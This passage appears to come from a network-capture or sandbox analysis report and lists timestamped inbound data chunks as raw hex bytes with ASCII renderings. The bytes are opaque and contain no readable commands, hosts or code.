fb b0 da cd f1 44 d6 eb 8c 37 58 97 5a dd ad d8 64 49 ce 22 53 60 2b 38 36 d0 de e5 fa 10 df ac e3 ec c0 fa 6a 97 a5 76 
68 7d e4 6c e5 17 0f 57 ea 0a a9 46 54 ed 14 b5 ae 67 d9 d2 ae 63 ea e3 f2 73 d0 1c 98 0f 3e 3c 4c 6e 37 7c 22 86 48 dd 
cd de 9c 89 6a a9 e9 48 e2 74 18 03 8b dc d2 3d 65 10 27 
Data Ascii: ]>1@[S{0em'KW#{q@HSHY;3>%>AGW4IMw;^SCO i4kb&|d;@a<8='{)VsED7XZdI"S`+86jvh}lWFTgcs><Ln7|"
HjHt=e'

Timestamp
kBytes
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Direction Data
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2022-09-28 05:32:41 UTC 185 IN Data Raw: c6 ed a4 39 ff bd b6 06 5f 17 10 bf 1d 35 9c 2d ab 0c 68 6f 58 62 32 6a dc 31 fd a2 54 ba 36 7c 5c 52 c0 90 ce 
60 62 36 84 79 46 d9 a5 f5 0e 8d aa 0d ec 1c 39 b4 31 b6 cf 0b 3a fa 2c de 0c 2d da 6c 31 1c b2 20 ab 45 13 d9 92 de d8 
71 aa ec 88 6a d8 53 74 3e 9c 13 cc 25 c9 ed 05 46 40 26 5a 83 cd cf 0e fc 86 64 58 a6 83 f8 56 70 85 d2 9c a1 86 4a 10 
6b 90 d8 d9 60 3a 8a 63 0e 6e 97 53 7c d1 15 0f c8 6c ec d7 cf 37 2c f7 1f bb 39 45 d4 2f 14 1d 30 63 69 27 99 49 19 f4 
da a2 cd 1c 9a 09 8f 4c b2 04 6b 9c e7 78 93 18 2d 7d 5b a8 fb fd 73 c2 d8 92 55 76 c0 86 9e e3 cd f3 96 d7 5b e6 54 1d 
54 ac 50 f0 f6 2d a7 77 2b 3b 6f 8e 5e ce ff 5b 60 cc 0b c2 77 ea f0 ec b3 7c 71 8a cb 09 4e e7 be 19 f9 f5 d0 36 b1 ea 5b 
3e b2 b5 ef cf bf 37 14 d1 c2 56 d9 c4 46 ca d7 bb 
Data Ascii: 9_5-hoXb2j1T6|\R`b6yF91:,-l1 EqjSt>%F@&ZdXVpJk`:cnS|l7,9E/0ci'ILkx-}[sUv[TTP-w+;o^[`w|qN6[>7VF

2022-09-28 05:32:41 UTC 186 IN Data Raw: e2 95 ba be 66 54 65 b8 49 31 57 e5 db 96 33 9a 30 05 df 39 6a 6f 82 38 d0 56 f0 6b c0 de b1 5b 60 ee 98 25 
3d 07 f2 95 84 78 cf 80 f6 af df 05 bf 95 2d a5 54 f5 85 ba 2c 9b 02 ce d1 91 38 05 89 35 89 41 24 a6 74 4d fe 54 82 14 7e 
de 06 e6 0e 87 28 9d cb 24 a6 1a 9e f3 39 eb d4 30 47 e3 5c 4d 21 3d 0c 9b 2f 08 52 92 4d 43 86 e7 07 cc 66 da c7 d8 
b5 97 74 be 03 f2 49 33 cf 20 cf b4 86 96 60 35 e9 14 73 b6 06 c0 13 10 2f bf ec 62 30 8b ec 7c d0 94 df 9c 9d 83 b5 0f 21 
6c ef 1b 1e 69 f4 b3 3b 99 7e c7 84 31 1a 47 fc f5 3f 74 fe 6e 91 0f 40 1a 2a df fe 29 9c f2 c6 51 3d db 82 19 a6 53 52 a2 
77 b1 51 52 c6 e6 21 dd f9 a6 79 34 c1 1f 62 01 0c 54 24 d8 2e ec 99 43 b1 72 26 e2 13 d3 2f cc e6 94 9d 61 2b 3f 15 b0 
dd ff 57 46 b8 4a 1e 47 5b 43 d6 91 89 f0 b3 4b c4 
Data Ascii: fTeI1W309jo8Vk[`%=x-T,85A$tMT~($90G\M!=/RMCftI3 `5s/b0|!li;~1G?tn@*)Q=SRwQR!y4bT$.Cr&/a+?
WFJG[CK

2022-09-28 05:32:41 UTC 188 IN Data Raw: b6 0c 0d 8c 6a 12 d9 78 4a 5f 4a 53 7f 72 b4 5a ba 99 f2 32 28 bf 6f 14 04 27 17 08 16 6c d2 09 3a 54 88 69 
24 86 20 7a 9a e1 54 be ad 50 60 b5 6c b4 90 19 03 ab ca a7 98 1f af 09 f2 26 c3 8f cc d7 f6 08 cf a7 88 11 34 53 28 d4 
37 0c 77 0e ef e1 9e c8 ef e1 08 e8 56 d0 1f 81 99 e5 be e8 fc d0 4f 71 aa 4b 69 9d b1 2b 71 28 04 3d 1b 32 c3 5d 38 07 
24 e5 f8 0d 67 d8 f9 2c bf ee a2 b1 00 0a f3 1f 2e 4d 67 84 4b db 00 6d 1c d0 e5 88 4f e4 65 9d 2c f4 d3 03 76 c1 0c e5 
12 73 35 7f 61 8d ad 6e 7b 4a fd 4d 7c 03 5d ae 3d 18 26 91 0b fc 2a 08 10 27 fa 0a ab 99 43 5b 7e 0e c1 c5 ea 5a 8b d0 
ce c6 30 a3 66 d5 19 2e 6c 44 53 da 99 1c ce 69 5e f4 39 06 72 6e c8 61 f1 a4 ac 31 80 0e e1 a9 e3 fd 4f 7a 05 9f 44 9a 
b3 ba e7 af 64 6f 66 5c 94 c1 cf 54 60 45 d5 fc c6 01 42 
Data Ascii: jxJ_JSrZ2(o'l:Ti$ zTP`l&4S(7wVOqKi+q(=2]8$g,.MgKmOe,vs5an{JM|]=&*'C[~Z0f.lDSi^9rna1OzDdof\T`EB

2022-09-28 05:32:41 UTC 189 IN Data Raw: a5 4e f0 c3 cc e3 76 55 1f 02 03 22 1a d2 44 e5 6e 11 30 4e ea c4 86 f4 a7 c5 26 78 bf 95 8f 2e 38 e0 a3 41 4d 
ca 81 39 56 76 b1 d2 71 0a a0 73 f5 9d 15 ac 42 67 73 82 2c 8e 94 0f 97 95 2b 98 6c 12 8c 9f da 40 c3 f2 19 54 78 ea 04 
55 36 62 98 01 62 01 ab ea 12 da 38 78 cd e9 f6 6b 2d 20 21 42 c7 ff 63 7e 4a dd d5 76 be 6e 38 b6 26 eb 1e 3f 22 26 61 
5c be 25 14 11 8b ac a3 fe 81 37 49 03 7c f7 0a 26 ff c7 58 a2 36 95 d5 25 71 a1 54 b6 13 1a 63 09 a3 ed 9a c4 7c 9c 5e 
5b cc b9 27 84 c1 d3 10 00 88 87 b8 02 03 39 a8 06 73 0b f4 8c 6e 91 aa 01 be 6b 9a d0 b9 71 e7 76 2b 32 1a 34 c3 b7 
d9 be 90 41 df ef fb a2 9b 84 a2 7a 6c e1 9e 9e 16 dd a9 ca 2b 60 d4 b3 8b 37 bb 0b 3b 9c 54 4a 4b c4 55 e9 d9 d2 55 5d 
c7 a0 54 3e 4b 5a b3 ee 4d 1d e2 a3 27 95 35 c8 6e f8 ac 
Data Ascii: NvU"Dn0N&x.8AM9VvqsBgs,+l@TxU6bb8xk- !Bc~Jvn8&?"&a\%7I|&X6%qTc|^['9snkqv+24Azl+`7;TJKUU]
T>KZM'5n

2022-09-28 05:32:41 UTC 190 IN Data Raw: 3f 7f 9c e7 f6 83 24 37 81 f4 e0 ff 3b 62 75 f5 b3 6a 67 e9 8b d3 86 0c 8e 7b f6 0f a9 6c 4f 70 35 c7 ec 69 76 2c 
3a 6d ab 0f 2f 17 38 39 73 ad af e0 d0 1f da c2 35 13 9b db 65 f4 79 39 32 78 94 8c 6c f8 c6 0f 22 ec 95 e9 63 4c 0c a8 14 
b0 4d 80 50 4f 15 99 22 3e 57 34 e9 89 f5 0a 17 8a f9 1d b1 8f bb 60 c5 ff 10 14 71 f2 de 35 62 75 1f 1e 0f e5 be 92 9c 06 
a8 51 d0 d4 81 51 19 07 23 af 81 4d cc ba c4 b8 5b 8b 4e ae 0b 10 22 3a 70 06 3a 19 1e 42 0f aa 42 13 15 76 9a 9b 2d 
23 9a c1 21 05 36 28 60 f2 5c ff 1f 53 0a 50 70 a3 4d 8f 43 ce 3e 8b 75 0c 24 ea ba 25 0e d4 41 19 a1 c5 5f 3d c3 ac 06 
19 a9 ae ef 7c 5b 79 2d b0 cd 75 86 70 83 89 89 af 6e be 36 9f 45 12 43 e1 09 b4 83 e1 c5 b7 38 cc 77 07 6a 94 38 f7 fe 
73 61 2e 06 77 9a 23 92 62 b9 b1 b5 c5 6f 1c 64 
Data Ascii: ?$7;bujg{lOp5iv,:m/89s5ey92xl"cLMPO">W4`q5buQQ#M[N":p:BBv-#!6(`\SPpMC>u$%A_=|[y-upn6EC8w
j8sa.w#bod

2022-09-28 05:32:41 UTC 191 IN Data Raw: 37 92 40 ea b4 29 36 08 d6 39 45 74 99 6e 6e c9 a5 c5 85 9b b5 ec 3f 94 25 c4 7a e5 f3 ba e3 8a f3 bd 7c 76 
54 4a 4a 99 2f e8 a2 5d be 94 09 ca 0b d5 99 ee f0 e0 57 48 09 bc d4 58 e7 19 e5 19 0c b8 da 1f b7 62 72 ca 74 c8 eb e0 
db 98 30 a0 2a 09 d7 3b 3a ff e7 01 4e c3 57 94 10 f8 a1 aa ac 8a 30 80 d4 72 f3 c0 e9 0d a5 66 e4 a7 1c de 60 b4 42 da 
e3 c8 05 b0 52 d2 d6 63 9a 2e 78 cd 7f b3 75 a3 c1 49 1f b2 a3 29 46 90 d9 24 e8 96 43 95 dc 29 36 db c9 fa d8 52 e5 53 
b6 91 da 7f ba 91 65 e4 82 44 26 36 c3 40 f9 aa a3 93 72 e9 0e 7c 0f 1c 6f 3e f6 c2 8c d8 c6 db 24 ca 9f 9d 7b f2 ff fc 52 
7f 46 10 c6 28 36 21 43 c4 c7 d1 5a e1 3d 0b 22 d6 f8 f5 cd f4 a6 b0 92 9f de 6f 69 45 51 31 f5 46 d2 4b ea 7d bf 55 2f 94 
42 de 8a ad 4a 60 c8 bb da 5c 94 53 b8 c7 22 a2 02 
Data Ascii: 7@)69Etnn?%z|vTJJ/]WHXbrt0*;:NW0rf`BRc.xuI)F$C)6RSeD&6@r|o>${RF(6!CZ="oiEQ1FK}U/BJ`\S"

2022-09-28 05:32:41 UTC 193 IN Data Raw: 21 70 b7 75 d1 61 6a 30 f3 48 c4 6a b9 82 92 d5 a5 1d 5a 1b 0d cf 92 a7 46 11 c7 6a 15 a4 3b 5e 96 da f2 26 
c7 7a fe 33 17 4e e7 6b e0 ad 26 06 76 a0 a1 8a f5 d2 cf c8 00 64 1a 35 ca 1d 6b a8 56 b0 b0 64 18 da 78 2a 78 c9 38 60 
0b 1f e7 38 ba a5 be 7b 2c 04 9d 6c ec 03 b4 b8 c4 1e 8f d0 3c 03 8c e1 d3 40 54 99 02 02 0f 20 60 54 51 94 86 00 d4 cd 
36 a6 0d 79 1f e9 5a 39 d5 cb c6 af 24 33 a1 5c db a2 73 ac 1c 5d 54 97 9b 11 1d 4e e3 5e 7a 88 7b b8 34 de 61 b9 33 cd 
f1 f9 e2 e2 e5 09 53 5b f1 55 00 e2 a5 63 54 14 32 41 a5 00 9b 31 54 0e cf f5 fc 00 95 84 bf 71 72 84 33 6d 8c ad e4 73 
1b 1f 89 ed 50 ee e1 21 3d 30 31 f2 c9 7c a5 41 95 26 ce 39 86 c5 61 02 10 5c 3d 11 ee 26 14 89 58 2c 15 4b b4 60 07 c0 
8d d1 6c 8f eb 12 aa 82 cf 0a 59 b2 c1 e9 1e 91 85 b0 9a 
Data Ascii: !puaj0HjZFj;^&z3Nk&vd5kVdx*x8`8{,l<@T `TQ6yZ9$3\s]TN^z{4a3S[UcT2A1Tqr3msP!=01|A&9a\=&X,K`lY

2022-09-28 05:32:41 UTC 193 IN Data Raw: 5a 8a 9c de ca b7 75 de e9 5b 5d 57 ac 5d 94 e2 e5 04 3e cf a3 d0 9e 02 84 3e ad 52 ef 02 e8 77 95 b6 f7 ec 
77 cf 35 80 f3 c0 ba 17 7e d4 98 38 09 62 1d 4f b3 f3 8f 37 0b aa 9a e4 c6 93 8d 32 50 64 94 e8 bd e6 55 e6 ab ca 62 17 
f5 a0 6a b0 1a 4f 88 34 63 25 30 ed b0 ca 14 5e bf 2e d7 b1 d1 48 30 5c ba 31 7f 9f a1 cb 7f 92 04 1f 3f 77 ae 0e 0d a5 dd 
fe fe 83 99 a4 a0 75 59 f6 b5 f9 ed e3 5b c8 5c 16 7b e4 7b 55 13 31 4d 7e a9 88 bf 36 de 94 da 21 24 03 c5 f0 ba 0c 3c 
a6 a0 9c 27 56 19 d8 2f ff a4 1f 95 49 13 f8 82 01 98 8f 41 97 af 00 5c d5 6e 4b 60 51 97 41 65 41 a3 9e 73 5f b9 b1 71 66 
b2 3e 33 84 3d f5 9e 81 ef 0e 0a 83 ae c6 7c dc bd 6b 2e 88 ff 6d fb e5 04 74 00 dc ad 44 15 da 25 1b ec ae fd ed ad eb 
3f bd 85 75 7e ca 74 f0 b8 4d c2 8f e3 fb ce 22 1e 
Data Ascii: Zu[]W]>>Rww5~8bO72PdUbjO4c%0^.H0\1?wuY[\{{U1M~6!$<'V/IA\nK`QAeAs_qf>3=|k.mtD%?u~tM"

2022-09-28 05:32:41 UTC 195 IN Data Raw: 83 de 5f d4 53 af 59 a5 63 d1 0b 3e 78 f3 99 51 06 2c 9b b4 61 b4 88 b1 f1 87 bb d8 f4 48 f8 43 ba e2 b2 00 21 
30 f4 d9 8c 42 0a db 5b f9 f3 6a 0c e5 57 0b b1 eb 89 a5 e3 13 49 d0 96 1e ff 17 dc c0 aa b3 fd e4 ff 69 fe d1 5f 6d 23 3e 
71 e5 82 5f 18 ee f0 24 1a 15 9e b9 c2 ed 03 aa 79 4d ac b8 ff 3a 58 4c ef 35 1d ee 4e 62 71 17 46 ed e4 00 ad f0 b1 b7 
74 13 9d c5 bf 60 94 16 d8 73 46 3c de a7 99 be e0 d8 86 95 ab d7 86 0a d7 e6 fc 68 fc a4 07 11 07 58 f3 8a 48 6f b6 5e 
4f ba af 90 27 10 c0 4d ab ab e1 a7 2a 20 84 16 88 f3 ca a9 ba f2 cf 42 42 cb a2 04 24 a5 c4 db 92 8f e5 c9 e4 16 68 96 
3c 65 c4 6a ab 13 ec fa bc ec a3 9c 02 9c 29 48 50 8d b3 52 e0 94 55 6b cf 53 15 19 b1 9d 96 3d eb e6 ed 4c c3 65 e7 32 
bb eb 32 eb f0 a2 7d ae 15 13 cf 54 a2 52 89 c7 86 
Data Ascii: _SYc>xQ,aHC!0B[jWIi_m#>q_$yM:XL5NbqFt`sF<hXHo^O'M* BB$h<ej)HPRUkS=Le22}TR

2022-09-28 05:32:41 UTC 196 IN Data Raw: 45 ee 1b c2 7b 7d 6a fa 19 59 e7 e5 42 d8 5d 2b f8 f7 6f 0c 67 54 98 cf 31 4f f3 bf 85 93 9c 86 f4 2a 4f db 98 b2 
a0 a7 4f 79 9a 76 8b 9e c8 4a 66 12 8a 95 0f 38 8d 7b 09 b1 cd fd a7 bf da b1 1c 87 39 56 6b ac 35 c3 f5 2b d0 f0 fb df d3 
ac 28 3c 32 3c 8f ed 63 98 7c a1 f0 ba c2 56 e7 06 b4 1b 37 40 40 f0 0a 72 db 6a 14 dd e6 5b 02 d8 b1 01 ad 9a 5a 79 b9 
28 b2 c5 ff f9 08 06 df 78 6c 75 84 7a cc 63 eb f4 9b 0f a5 5b ba a0 66 7d 07 94 97 6f 84 6f 61 20 6a 04 fc ec e0 fe f3 31 
d9 56 63 54 de d1 a9 1e b7 06 27 28 13 f3 63 ec 95 77 9e b5 ef b0 9c a0 25 85 e1 77 1b 4e 23 a5 79 89 96 cc c6 d9 f5 a4 
d5 e4 8f 65 94 38 43 b8 2a 1b 3c b0 91 44 4a b6 fc 3e df 1f 8a 94 69 db c4 4a 5d 0d 96 ee ba c7 bc 26 63 9c 5d f2 99 b9 
b0 29 35 a5 39 3f bb 67 42 91 35 52 29 05 91 
Data Ascii: E{}jYB]+ogT1O*OOyvJf8{9Vk5+(<2<c|V7@@rj[Zy(xluzc[f}ooa j1VcT'(cw%wN#ye8C*<DJ>iJ]&c])59?gB5R)

Timestamp
kBytes
transferred

Direction Data
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2022-09-28 05:32:41 UTC 197 IN Data Raw: 7c 25 23 6c 74 0f e1 e6 df 9a 57 21 87 9b 44 d2 c5 88 cc f0 f4 05 97 6d 4b cc 9c 81 71 d4 62 67 d7 18 ab 47 
e2 03 24 6d 8d ed ff 20 ce 8b e0 66 2b fc 78 5b c3 01 c3 ad bf c5 75 1b c5 b7 02 fa 52 ac 84 51 5c b5 43 2b b0 e8 a8 a1 
ba 6e 51 1b 30 d4 bb 45 2e 15 c3 c1 00 5d 6f 63 68 9f 70 a4 6e 48 46 29 9d 11 6d 76 e5 94 64 0c 01 d1 e0 42 79 0a 82 
ec 25 a9 03 67 8a 97 24 8d df 23 49 8c fb 52 50 35 ca e3 16 c4 74 6a ea b8 92 27 a4 c6 8c e9 c6 73 4d f8 e1 28 e0 bd cc 
1e c8 53 a1 20 7d 1d 05 fe 58 f5 34 a5 d6 b5 63 44 2c 01 62 d9 d0 39 cd b8 95 c5 05 63 de 10 00 bc 84 5c e5 db 89 9f ba 
41 5b ec 71 30 ea 42 eb 94 61 e7 95 2e 2e 85 04 10 1a 83 0f cc 21 80 4a 64 b4 67 c4 19 a2 f3 8e 5f e9 47 ea 56 85 bf cd 
b3 4b 53 8b 02 fc a6 13 79 9e a3 46 fb 05 3f 9a 5d 1b 38 df 
Data Ascii: |%#ltW!DmKqbgG$m f+x[uRQ\C+nQ0E.]ochpnHF)mvdBy%g$#IRP5tj'sM(S }X4cD,b9c\A[q0Ba..!Jdg_GVK
SyF?]8

2022-09-28 05:32:41 UTC 199 IN Data Raw: 06 a4 1e 88 37 fe ef 89 7b ea 89 04 a6 cc d1 d5 f0 f8 25 2f 3f 00 5a 31 20 c3 39 19 3c b4 0f 66 3e 17 88 de 6b 
5d 7d 8c 3f af 7f df 7a 2f 2b 39 41 67 12 40 fe 9d 1a 4e 76 0c e8 14 bd 28 0a 59 96 b8 70 1f dd 83 c9 1c 95 28 29 24 90 
0a 80 4b f6 44 b7 6f 59 ce 6c 7d d3 8e 41 db 69 58 7a dc 0e d6 e0 a1 e0 19 11 f7 05 ee c5 cb 5c 62 f2 10 b7 aa d3 01 f6 
73 ba 87 5d 96 d5 06 d6 0f c9 aa 07 37 b0 e2 25 ae b4 5b bc e2 5e 02 08 c1 aa 06 b4 ff 1f 86 af 8f 49 6a be d0 41 60 65 
97 bd a2 5c 79 38 41 65 56 77 1b d2 4b d0 96 a5 df 5c 9d f3 b1 96 75 a1 60 13 b4 2c 9f ba f5 92 1b bb af 3c 74 8e 39 8a 
83 fb a9 ab b8 19 03 2e 70 79 ab 36 05 e8 15 5b 4b a8 de 53 80 28 51 2c 25 0a 6d 7b b3 1f 26 e0 d1 7b fc be 84 52 10 
34 50 a6 44 f4 91 18 12 d0 b5 74 9b e6 1b 35 fc ff 0f 13 
Data Ascii: 7{%/?Z1 9<f>k]}?z/+9Ag@Nv(Yp()$KDoYl}AiXz\bs]7%[^IjA`e\y8AeVwK\u`,<t9.py6[KS(Q,%m{&{R4PDt5

2022-09-28 05:32:41 UTC 200 IN Data Raw: 4e db 90 6d ac 00 e0 30 e5 77 2b e5 eb 1f 85 56 74 83 f1 bd eb ca 07 3a 79 22 e4 3c 4a 19 20 82 84 bd 88 ab 
d8 e1 61 14 20 27 11 64 31 39 ff d8 fd 60 a8 0e 41 76 b7 5c 3b 99 8c 2d f7 dd ee 9e cc 81 cc 09 77 a5 32 a0 22 b7 f0 af 
53 06 67 58 6b 7d d8 f2 72 89 cb a5 b5 b6 5a 34 d2 19 68 72 ec 30 10 b3 67 7c a3 22 fa 77 49 93 df 3f 10 e8 00 f2 b1 40 
e1 55 99 e0 02 00 79 a3 3a 9f 97 44 b4 ad 04 9f 53 12 d9 06 39 3a 13 15 7b a3 ed 9d a6 38 37 05 5a 1b 07 25 00 9d 22 
35 41 11 5e 73 bf 2b bf 50 1e cd 7d d5 9a bc ea a4 26 37 44 05 8c 7c a1 7e ab 17 4b 95 4d 0f 42 70 14 b3 f7 45 e5 76 55 
53 51 11 12 1d 70 a9 f1 8b 7f 54 e7 1f fc 3c 76 e3 9f 5e 27 3d a0 eb 72 13 d4 77 cd de 73 fd 36 9a eb 9d 18 f7 04 58 2e 
5a ae 2c 6d 2b 7c 56 5a 34 11 8c e7 ce 89 4c 7c 18 d3 6a 8f 
Data Ascii: Nm0w+Vt:y"<J a 'd19`Av\;-w2"SgXk}rZ4hr0g|"wI?@Uy:DS9:{87Z%"5A^s+P}&7D|~KMBpEvUSQpT<v^'=r
ws6X.Z,m+|VZ4L|j

2022-09-28 05:32:41 UTC 201 IN Data Raw: d5 ee 35 5d a9 f9 9c 22 8d ee 8d d4 14 b6 67 cc 8c 90 8a a7 e8 99 19 c1 0d 6a e3 21 17 4a 3a e5 fe 1d 4c 19 
fb 5e 6e 63 60 8b 67 e2 41 ce 83 92 b1 51 13 dd f4 0e c4 be e8 b1 3e 86 02 0e 93 a1 7c bd 90 48 a9 54 f1 6f 14 00 94 b9 
62 2a 05 41 0b ef f6 63 04 ad e7 33 19 2a 8a d2 a0 74 a8 d2 18 68 1c 28 a0 ef 8c 90 6b de 84 0b 30 96 df 81 a3 08 db 5f 
5b c5 5f fd ab f1 7e a8 ec bb e7 89 5e 39 a1 ff 6c f7 39 0b 18 b9 d4 d8 27 0d 17 1c 4c fb 34 6b 2d 21 0a 81 86 19 e9 c0 e6 
ee 04 64 1c 67 be 94 f3 82 43 80 23 33 d3 f5 08 da 71 4b 01 d9 40 1e df 60 ee 58 c2 39 7b f8 65 43 4a f4 29 97 0c e9 2e 
a6 64 c6 7f c5 d0 7c f1 4f af af 02 7c 1a a8 f0 69 92 ec 40 d6 a0 09 49 4e 60 80 7d c0 bb 06 f3 29 85 68 f4 29 d3 d9 73 07 
bf 3f fb 9c 39 ac 25 e8 fd 46 3d 0d 39 cf 83 75 29 
Data Ascii: 5]"gj!J:L^nc`gAQ>|HTob*Ac3*th(k0_[_~^9l9'L4k-!dgC#3qK@`X9{eCJ).d|O|i@IN`})h)s?9%F=9u)

2022-09-28 05:32:41 UTC 202 IN Data Raw: 47 83 1d 02 d3 fb 00 f1 c4 a3 87 3e 7e bc 72 f3 ed dd af 97 91 a0 93 4b 04 ca 66 7a 6c 07 b7 f7 4c cd e3 7f 06 
b3 2e dc 07 40 e5 b6 76 ec db ee 1f ce db d3 ae 5a a3 4b a2 df e2 bc 5d 1f 2b 19 a4 1c 18 93 3d 55 15 72 55 65 ae 82 25 
41 c5 a0 63 48 5a 70 dc 72 a0 e5 38 e8 88 32 98 55 62 7d 62 7d ef ae 28 58 79 52 00 81 98 40 69 6d db 72 3f f2 90 19 70 
ac 90 de 69 47 bc 23 0a 67 32 b8 2c 8c 4e cd ab 40 60 6d fd 01 2c 63 89 ce 89 d8 93 97 d3 ab 5a 8b 19 49 6b 08 f9 da 8f 
cb db e8 85 2b 95 b6 de 97 02 88 9e 1a e3 ab c4 33 20 8f fd f8 a0 8b a6 c5 9c 23 73 ba 31 22 67 96 d8 88 98 39 34 47 a5 
36 7e bd cb 76 81 f8 fb c0 3f 69 84 b2 e1 28 cc 24 96 ff f0 18 12 53 aa 31 a5 bd bf bd b0 36 cb bb f0 b6 35 40 a8 e5 be cf 
37 6a 24 a8 98 af 69 e4 9a 71 b2 2f 12 d4 ef f7 14 
Data Ascii: G>~rKfzlL.@vZK]+=UrUe%AcHZpr82Ub}b}(XyR@imr?piG#g2,N@`m,cZIk+3 #s1"g94G6~v?i($S165@7j$iq/

2022-09-28 05:32:41 UTC 204 IN Data Raw: 62 74 4b a7 d5 f8 60 3f a6 11 b9 bb 77 9d 8b 3f cf 7f 24 d0 40 58 0c e1 e7 2e 59 e7 ea da f2 d6 af 64 b2 20 54 
e7 b6 b7 a0 b6 b1 39 4a bb a6 05 b7 7f 0a 78 1c 2e 31 63 be a5 1c ac 14 19 21 c8 fc 0e 10 8e b4 f8 fb a9 5f 45 62 2f 1f a6 
2f d1 68 cb a9 a9 33 9a 6c 2a d0 6f a0 6c f1 fd db c9 33 2f ea 41 3d 3e f5 b0 df a5 aa d9 f7 29 c9 ed e7 eb 16 3c 4a 47 bb 
e9 c2 77 55 31 ad c5 56 48 0e be b3 9e 0b b9 be 46 3b 43 d9 ad b4 14 55 d9 87 b1 88 9e 8a cc 31 c7 24 46 20 ea 52 8c 
13 34 05 d3 b3 97 4d 97 64 5f eb 4b 4f 0b 4e 25 6b 66 3c ee 28 ec b9 d9 0e 53 92 94 ac 0a 52 3b 23 ee a3 a7 17 e8 3b 
68 b2 fa d1 1d 72 4a 99 d4 75 7a 7b 65 5a 73 f7 fe 52 4c 71 b2 34 9c 9e 8e e4 33 fb 63 12 11 93 b5 be 7d 2a c5 42 b2 b7 
00 a1 19 22 9b e2 f4 6e 7f b2 a5 b0 b0 5d c1 fb 56 81 
Data Ascii: btK`?w?$@X.Yd T9Jx.1c!_Eb//h3l*ol3/A=>)<JGwU1VHF;CU1$F R4Md_KON%kf<(SR;#;hrJuz{eZsRLq43c
}*B"n]V

2022-09-28 05:32:41 UTC 205 IN Data Raw: e3 e9 e2 29 f1 17 99 75 b1 c8 48 d5 e1 b2 62 a0 ab 7c 80 c7 28 1b 9b f2 d9 c6 67 f7 4c c4 4e 0d 3b 2b b6 68 
96 21 83 5f f8 f2 fc fa b0 79 07 27 83 66 7c bd 9a b7 d0 6e 3b 56 c0 c4 aa 3b c0 2c ec d6 7e 16 3a 83 ff 2c 95 92 a9 d3 3d 
b1 9b 6f 96 a6 d4 9b 3a 8c f7 8b 65 4c b2 f5 4c 73 99 f4 0e ce a5 1e 81 57 e1 ee e9 27 7b f3 4b 3e a4 5e 2f 14 a7 2c 06 
a9 3f 98 cd d1 cc 71 5a 81 10 01 42 0c 67 18 62 13 21 68 28 78 e0 f9 3e 5f 3d c1 b4 56 6a e1 95 2a 9d b6 f4 ac 94 a0 de 
ea 72 50 e9 63 16 a8 da 73 2c ad 97 fc ff 28 9d e4 b0 ac 86 84 86 cb 59 e3 1a d1 3b 5a 76 aa a5 b7 a4 c9 3f fd e0 d9 65 
d7 59 5e 4b 41 c3 f0 b0 82 4e 70 e8 3e 7f d6 08 d5 3a dc 16 cb d6 c3 03 91 bb 01 53 21 35 b8 e4 3f ff 30 56 f2 77 cc e4 
5a 0b 95 01 0b a5 0b 39 c0 bf 7d 83 cc 8b 42 2d 9a 31 
Data Ascii: )uHb|(gLN;+h!_y'f|n;V;,~:,=o:eLLsW'{K>^/,?qZBgb!h(x>_=Vj*rPcs,(Y;Zv?eY^KANp>:S!5?0VwZ9}B-1

2022-09-28 05:32:41 UTC 206 IN Data Raw: 7d 21 20 8c f1 71 8f 0b 90 6a 8e 96 ef f1 bf 67 77 02 5d 1e a0 53 f1 ae 5a b9 59 fe 12 ee f1 7d 00 d7 8d 96 5e 
45 10 6e aa 0b 42 3b 60 c5 c9 0c c6 37 8d 57 68 4b 44 98 f7 79 09 e0 29 a3 e7 cb 72 33 bd 66 0f f2 8f 9a 6b 16 b6 92 97 
57 eb 05 6b a0 36 10 44 d6 c5 36 4c 6d b0 d9 66 b8 04 9a 02 a8 28 29 16 8a 8f 9b a7 05 4e d5 5c 48 9d 1d c7 92 66 81 
12 5d 95 c0 c9 b1 4b 0c 4d 58 3c 4a ef a1 39 18 9a 47 cf 5f 91 72 bf 51 c7 d0 ca 1e 7f 73 1a 44 20 7f 95 0b 99 70 9f 6b 1a 
c2 fc d2 33 28 a5 90 fd df 24 e6 c5 9b bc 66 a4 7f 1a 17 a1 66 cd c1 04 8f c3 58 62 d9 8b 0b 64 6c 7c 57 0c 2c c6 e4 c0 
69 07 45 2d 00 0d f9 02 e7 4f 2d 0b 77 1d 0f 7c d2 02 3d f6 1b f0 c5 06 0c 4b 8a 88 ea 65 d8 f7 3b ea b7 b7 f1 b4 e5 b0 2d
68 9c 28 29 ec ec ef 68 c2 ba bc 6c 9a 6a 89 82 f3 
Data Ascii: }! qjgw]SZY}^EnB;`7WhKDy)r3fkWk6D6Lmf()N\Hf]KMX<J9G_rQsD pk3($ffXbdl|W,iE-O-w|=Ke;-h()hlj

2022-09-28 05:32:41 UTC 207 IN Data Raw: 38 56 4e 45 e5 ff 91 bd 80 a0 32 4d 87 ab fe e9 3c 36 c5 56 ee 4a 69 d2 a3 82 5d ab ca 65 06 25 5f cf 53 e2 c9 
4d e8 71 b8 71 4d 99 cd 2f 58 33 b7 f9 a1 4e 3e c2 cf 32 c5 85 61 d9 d4 bb 33 7d e8 56 cc b1 1a 46 5d a7 c3 81 44 a2 16 
50 57 9b 05 e6 38 c6 72 76 bd 7d 69 2b 7d b2 df 22 60 2b 5b d4 4c 8f f5 65 9e e0 ca dc db 60 f3 43 6f 41 61 89 8a ef 56 
7d 47 f3 8d ff c3 f3 82 f5 61 98 d8 ef 66 39 2b 3f 94 a2 69 2f 57 77 2d 34 96 52 c8 3c 7f 38 64 cc b5 48 68 3f a5 f0 e8 f4 b0 
d9 b7 30 24 76 07 01 b8 cd d8 a3 f8 d8 00 23 99 76 1c 99 a0 ca b6 fc 61 d5 76 7e 5a 70 08 4b 3e 6a 80 ab fd 09 2c f0 70 
aa 2c 15 14 08 b2 3a 40 a1 f9 8b 76 c9 9b 28 ee 09 ae 51 b8 54 fb eb d9 e2 91 38 b2 4a e0 17 4a f2 d8 34 30 5e a2 76 4c 
8c 79 9a 2f e0 a4 f3 7e b9 dd 61 90 3e 55 80 20 
Data Ascii: 8VNE2M<6VJi]e%_SMqqM/X3N>2a3}VF]DPW8rv}i+}"`+[Le`CoAaV}Gaf9+?i/Ww-4R<8dHh?0$v#vav~ZpK>j,
p,:@v(QT8JJ40^vLy/~a>U 

Timestamp
kBytes
transferred

Direction Data
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2022-09-28 05:32:41 UTC 209 IN Data Raw: b7 9d a8 49 05 11 96 55 bb 1c e0 fe 7a 94 2c 41 4b 4c 19 d4 40 a7 44 3d e8 d6 43 f1 2a 7d 60 0c 4f 80 16 79 
